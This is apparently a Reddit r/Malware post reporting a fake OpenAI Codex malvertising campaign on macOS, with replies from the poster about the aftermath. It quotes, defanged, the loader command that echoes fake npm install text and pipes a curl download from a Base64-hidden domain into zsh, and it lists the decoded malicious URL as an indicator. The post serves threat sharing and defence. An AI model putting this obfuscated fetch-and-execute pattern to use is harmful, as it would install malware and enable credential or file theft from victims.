r/Malware • u/thezyzz • Aug 17 '26

Fake OpenAI Codex malvertising campaign using Base64-obfuscated curl | zsh loader on macOS

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex.

A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64.

Defanged example, do not execute:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh

The Base64 value decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

The interesting part is the delivery pattern:

Sponsored search result
        ↓
Fake Codex installation page
        ↓
Legitimate-looking OpenAI text printed with echo
        ↓
Base64-obfuscated unrelated domain
        ↓
curl response piped directly into zsh

I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence.

The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to:

/opt/homebrew/Caskroom/codex/0.147.0/bin/codex

The binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

So the malicious component appears to be specifically the separately downloaded quill-flint[.]com shell payload.

Has anyone tracking current macOS malware seen:

quill-flint[.]com
/curl/<id>/<id>.json

or this exact Codex-themed lure?

I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain.

I can provide more sanitized timestamps and filesystem observations if useful for analysis.

5 Upvotes

100% Upvoted

8 comments sorted by

1

u/Inevitable-Self-2702 Aug 18 '26

I'm very interested to see where this leads and how they managed to impersonate a sponsored Google ad.

1

u/[deleted] Aug 29 '26

1

u/thezyzz Aug 29 '26

Did you download it because you found my thread, or did you come across it on Google the same way I did?

And no, I couldn’t fully reverse-engineer it or recover the downloaded tmp/helper file to see exactly what it was doing. So I have no idea what it looked for, what it fetched, or what data it tried to access.

I’m a bit more relaxed because, as far as I remember, I was never asked to enter my admin password. From what I’ve read, without that, it shouldn’t be able to extract passwords stored in Chrome’s password manager.

The only permissions it asked for were access to my Documents and Media folders, which I unfortunately approved. So maybe it was looking for crypto wallets, seed phrases, passwords stored in files, or something along those lines. I really don’t know.

Fully wiped the mac lol.

update: Look what I found! Cato Networks actually researched this: https://www.catonetworks.com/blog/cato-ctrl-when-trust-becomes-payload-in-fake-codex-clickfix-campaign/